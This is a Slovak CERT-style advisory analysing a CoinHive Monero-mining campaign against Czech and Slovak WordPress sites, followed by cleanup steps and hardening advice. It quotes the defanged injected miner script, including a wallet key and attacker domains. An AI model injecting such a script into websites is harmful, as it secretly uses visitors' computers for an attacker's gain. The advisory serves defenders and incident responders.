Domov      Nastavenia 
RSS English Slovensky

Zahraničné zdroje
US CERT - zraniteľnosti


ICS CERT - varovania
Meltdown and Spectre Vulnerabilities (Update G)


ICS CERT - odporúčania
Natus Xltek NeuroWorks
14.06.2018
Nahlásené incidenty
1.1.2017 - 31.12.2017
 

Graf

Ťaženie kryptomien: útoky na webstránky vytvorené (nielen) vo WordPresse (analýza a odporúčania)

23.02.2018
S rastúcou popularitou ťažby kryptomien vzrástol aj počet útokov, ktorých cieľom je ťažiť kryptomeny na cudzej infraštruktúre. Zaujímavým spôsobom je infikovanie webstránok JavaScript kódom, ktorý po navštívení stránky začne ťažiť ktypromenu na počítači klienta. Konkrétne sme analyzovali kampaň útočiacu na SK a CZ weby, ktorej cieľom bolo ťažiť Monero (XMR).

Úvod

                Kryptomeny sa v dnešnej dobe tešia rastúcej popularite. Najznámejšími príkladmi sú Bitcoin (BTC), Litecoin (LTC) či Ethereum (ETH). Na rozdiel od štandardných mien sa získavajú tzv. ťažením, čo predstavuje zložité matematické operácie. Tie vyžadujú masívny výpočtový výkon. Väčšina kryptomien sa ťaží pomocou grafických kariet, no existujú výnimky, ktorých výpočtový algoritmus umožňuje veľmi efektívne využívať výpočtovú silu procesorov. Príkladom je Monero (XMR). [1]

CoinHive je služba umožňujúca zdieľanie výpočtového výkonu na ťažbu Monero pomocou JavaScript pluginu, ktorý vloží majiteľ na svoju stránku. Je to legitímny spôsob, ktorým sa dá nahradiť príjem z reklamy a zbaviť tak užívateľov obťažujúcich bannerov. Cenou za to je zapožičanie svojho výpočtového výkonu majiteľovi stránky po dobu návštevy servera. Táto služba je však zneužívaná útočníkmi, ktorí injektujú JavaScript plugin do kódu napadnutých stránok. Tým bez vedomia majiteľa zneužívajú výpočtový výkon používateľov jeho stránok na svoje obohatenie. CoinHive po kritike svojej služby vydal AuthedMine - novšiu verziu svojho pluginu s opt-in riešením. Služba sa teda spustí až po potvrdení návštevníka stránky. Seriózne stránky by mali využívať túto formu pluginu. CoinHive však na svojej stránke ponechal aj pôvodnú verziu spúšťanú bez ohlásenia, ktorá je tak naďalej ľahko zneužiteľná útočníkmi. [1] [2]

 

Príklad legitímneho opt-in dialógu AuthedMine pluginu.
Príklad legitímneho opt-in dialógu AuthedMine pluginu.

 

Vo svete bolo zaznamenaných niekoľko veľkých kampaní [3]. Okrem webstránok vytvorených pomocou WordPress boli odhalené útoky na stránky využívajúce platformy Magento a vBulletin. Jedná sa o platformy na tvorbu e-commerce riešení a internetových fór na báze PHP a MySQL, podobne ako WordPress. Útoky boli vedené aj na Android aplikácie dostupné cez Google Play Store. S rastúcim záujmom o kryptomeny (a ich prudko rastúcim kurzom) sa očakáva v blízkej budúcnosti nárast takejto aktivity.

Útok vedený na WordPress webstránku pozostáva zo získania / prelomenia administrátorských prihlasovacích údajov a injektovania kódu spúšťajúceho CoinHive plugin. Môže sa jednať o zmenu súboru wp-admin/admin.header.php, wp-includes/general-template.php alebo iných PHP súborov. Napadnutý server je použitý na ťažbu kryptomeny a taktiež môže napádať ďalšie WordPress stránky útokom typu brute-force. [3]

Analýza kampane zameranej na české a slovenské webstránky

Kampaň s cieľom infikovať webstránky ťažiacim scriptom využívajúca CoinHive a napádajúca najmä stránky vytvorené na platforme WordPress (ale aj iné) bola zaznamenaná aj v Česku a na Slovensku. Na základe analýzy kompromitovaného servera (využívajúceho CMS WordPress) sme zistili, že:

  • Útočník vysoko pravdepodobne poznal prihlasovacie údaje buď na prístup k administračnému rozhraniu webu / alebo k súborovému systému webu (napríklad cez FTP). Tieto údaje pravdepodobne získal buď na základe analýzy niektorých zverejnených únikov prihlasovacích údajov / alebo vykonal slovníkový útok na prihlasovanie do niektorého správcovského rozhrania (v tomto konkrétnom prípade sa nejednalo o slovníkový útok na administračné rozhranie webu)
  • Útočník injektoval Monero ťažiaci script do názvov všetkých článkov na webe
    • <sc*ipt src="hXXps://authedmine.eu/lib/1.js"></sc*ipt>
      <sc*ipt>
        var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuA
           TVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGU
           K2fkq5Nd55mLNnB4WK');
        miner.start();
      </sc*ipt>
    •  V danej kampani sme sa stretli s dvomi doménami odkiaľ boli importované skripty: hXXps://authedmine.eu/lib/*.js, hXXps://pr0gram.org/wp-cache/*.js (poznámka: oficiálna doména AuthedMine je authedmine.com). Zaujímavosťou je, že injektovaný script obsahoval priamo adresu Monero peňaženky a využíval na pripojenie k ťažiacemu poolu vlastný proxy server (v tomto prípade tiež hXXps://authedmine.eu:4TXYZ/) a ťažil na inom poole ako je oficiálny CoinHive pool. Výber konkrétneho poolu zabezpečoval útočníkov proxy server a teda ťažiť sa mohlo v rôznom čase na rôznych pooloch.
  • Útočník modifikoval priamo databázu webu a to len názvy článkov na základe ich ID. Nevyužil na to správcovské rozhranie ani API WordPressu.  Je pravdepodobné, že bol využitý vhodne umiestnený PHP kód pristupujúci k databáze. (Túto modifikáciu je možné spraviť  napríklad aj prostredníctvom priameho prístupu k súborovému systému kde je uložená databáza, avšak tento spôsob je v danom prípade nepravdepodobný).

V prípade, že útočník pozná správcovské prihlasovacie údaje tak existuje viacero možností ako je možné automatizovane umiestniť script na webstránku. Medzi iným napríklad využitím prístupu cez XMLRPC / alebo umiestnením PHP kódu napríklad do témy alebo pluginu, prípadne vhodným umiestnením do obsahu webadresára a následným pristúpením na stránku, ktoré spôsobí vykonanie kódu na strane servera. Existuje viacero spôsobov ako je možné touto cestou modifikovať obsah web stránky.

Vyčistenie WordPress stránky od infekcie

Majitelia napadnutých stránok môžu postupovať napríklad podľa návodu na vyčistenie stránky z blogu thewindowsclub [2], Wordfence [4], či Sucuri [5]. Vo všeobecnosti je potrebné vykonať tieto kroky:

  1. Zazálohujte si svoju stránku (obsah web adresára aj databázu), označte si ju ako kompromitovanú.
  2. Ubezpečte sa, že k správe webstránky pristupujete cez šifrované spojenie (napr HTTPS, SSH, SFTP a podobne)ň
  3. Zmeňte správcovské prihlasovacie údaje (a použite silné heslá)
    • pre správu webstránky
    • pre prístup k správe webhostingu
    • pre prístup k súborovému systému servera (SFTP / SSH / RDP, prípadne FTP)
  4. Oskenujte svoju stránku anti-malware softvérom (napr. [6], konkrétne URL je možné oskenovať cez https://www.virustotal.com) Je to potrebné z dôvodu, že útočník mal možnosť umiestniť na web aj iný škodlivý obsah.
  5. Nahraďte kompromitovanú stránku dôveryhodnou zálohou (obsah web adresára aj databázu).
  6. Ak používate len jednu tému, vymažte všetky ostatné v wp-content/themes. Pozor, ak používate „child theme“. Vtedy môžete využívať až dve zložky.
  7. Skontrolujte wp-admin a wp-includes. Len zriedka obsahujú iné súbory ako tie, čo sa nainštalovali s WordPressom. Nové súbory sú potenciálne podozrivé a odporúča sa skontrolovať ich na prítomnosť škodlivého kódu.
  8. Skontrolujte wp-content/uploads na prítomnosť škodlivého kódu alebo podozrivých skriptov.
  9. Otvorte zdrojový kód stránky a vyhľadávajte (Ctrl+F) v nej termín „CoinHive“. Odstráňte súvisiaci kód v blízkosti každého vyhľadaného výrazu. Pozor, kód môže byť obfuskovaný, či šifrovaný.
  10. Pristúpte cez SSH k vášmu serveru a overte súbory, ktoré boli v blízkej dobe zmenené. Vyhľadajte ich napríklad pomocou príkazu find “/{cesta ku Vasej stranke}/ -mtime -2 -ls”, kde zadajte cestu k vašej stránke. Číslo 2 predstavuje dobu vyhľadávania v dňoch, v akej maximálne vzdialenej minulosti boli súbory zmenené. Ďalej použite príkaz “grep -ri base64 *”, no pred zmazaním overte, že kód nepatrí súboru, ktorý využíva vaša téma alebo plugin. Ďalej môžete vyhľadať v adresári “upload” súbory, ktoré nie sú obrázky, pomocou “find public_html/wp-content/uploads/ -type f -not -name "*.jpg" -not -name "*.png" -not -name "*.gif" -not -name "*.jpeg" >uploads-non-binary.log”. Výstup sa vám v tomto prípade zapíše do súboru “uploads-non-binary.log”.ň
  11. Vyčistite cache serveru, browsera a tiež cache pluginy, ktoré prípadne využívate.
  12. Pre kompromitované stránky sa odporúča pomocou logov preveriť, akým spôsobom bola stránka kompromitovaná a prijať potrebné nápravné opatrenia.

Alternatívou sú existujúce komerčné online služby, ktoré sa o vyčistenie stránok postarajú. Overené služby sú napríklad Wordfence [2] [7] [8], Sucuri [2] [7] [8], iThemes [8], Cloudflare [2] a VaultPress [7].

Odporúčania na zabránenie infekcii / opätovnej infekcii

  1. Pravidelne si bezpečným spôsobom zálohujte svoju stránku (obsah web adresára aj databázu). Je to potrebné pre prípad jej poškodenia a nutnosti odstránenia časti kódu. Tiež pre prípad, že poskytovateľ webhostingu vám ju po odhalení infekcie celú vymaže. Upozorňujeme, že niektoré spôsoby zálohovania databáz ponechávajú tieto zálohy prístupné cez konkrétnu URL na Vašom webe aj po stiahnutí si zálohy databázy správcom – je potrebné ubezpečiť sa, že Vaše zálohy nie sú takto prístupné, nakoľko môžu obsahovať citlivé údaje ako napríklad prihlasovacie údaje používateľov webu.
  2. Skontrolujte, že váš počítač nie je infikovaný malvérom (napríklad hĺbkovým skenom antimalware softvérom). Keylogger by mohol okamžite kompromitovať vaše nové heslá.
  3. Vždy používajte aktuálnu verziu WordPress, pluginov a iného softvéru.Upozorňujeme, že automatické aktualizovanie wordpress obsahovalo chybu vo verzii WordPress 4.9.3, ktorá spôsobila nefunkčnosť ďalších aktualizácií. Pre opravu je nutný manuálny zásah správcu. Viac info v [11].
  4. Využívajte ďalšie best practices hardeningu webu, medzi ktoré patrí vypnutie alebo odstránenie nepotrebnej funkcionality. Odstráňte, alebo aspoň zakážte všetky pluginy, ktoré vaša stránka nevyužíva.
  5. Zmeňte správcovské aj klientske heslá na silné. Vykonajte revíziu používateľov a odstráňte nepotrebné kontá.
  6. Ak používate administrátorský účet „admin“, vytvorte si iný s odlišným názvom a účet admin zmažte. Jedná sa o opatrenie proti automatizovaným útokom na prihlasovanie s loginom „admin“.
  7. Využívajte spoľahlivý webhosting, ktorému dôverujete, že udržiava podkladový operačný systém a infraštruktúru aktualizovanú a zabezpečenú.
  8. Ak je to možné, obmedzte dostupnosť správcovských rozhraní len z vybraných rozsahov IP adries (t.j. z adries, z ktorých štandardne pristupujete k administrácii stránky). Je možné využiť napríklad .htaccess.
  9. Nakonfigurujte svoju webstránku (alebo infraštrukúru) tak, aby detegovala a zamedzovala pokusom o brute-force útoky na prihlasovanie.   Obmedzte počet pokusov o prihlásenie z jednej zdrojovej IP adresy a špecifikujte čas čakania na ďalšiu možnosť prihlásenia po neúspešnej sérii pokusov alebo využite captcha (plugin).
  10. Zmeňte URL prihlasovacieho panelu WordPress-u z .../wp-admin/ (napríklad pomocou pluginu „Rename wp-login“).  Upozorňujeme, že je potrebné vybrať neštandardné meno – nie „admin“ ani „sprava“.
  11. Používajte bezpečnostný plugin (napríklad od niektorého z poskytovateľov v predošlej sekcii) a nastavte denné skenovanie. Včas odhalí známy malvér, blacklisting vašej stránky, spam, .htaccess presmerovania a iné bezpečnostné hrozby.
  12. Ak je to možné používajte Web Application Firewall. Zabráni v reálnom čase útokom ako SQL injektovanie, skriptovanie medzi lokalitami, a pod.
  13. Oskenujte si svoju stránku skenerom zraniteľností a aplikujte prípadne nápravné opatrenia. Pre Wordpress je  možné využiť napríklad wp-scan [10].

Toto sú základné zásady pre zvýšenie bezpečnosti vašej webstránky a zmiernenie rizík plynúcich zo stále prítomných útokov typu brute-force alebo automatizovaných pokusov o nájdenie a exploitáciu zraniteľností. Pre optimalizáciu bezpečnosti môžete vykonať ďalšie opatrenia napríklad podľa návodov v [12] [7] [8] [9].

Zdroje:

Ďalšie zdroje:



<< zoznam aktualít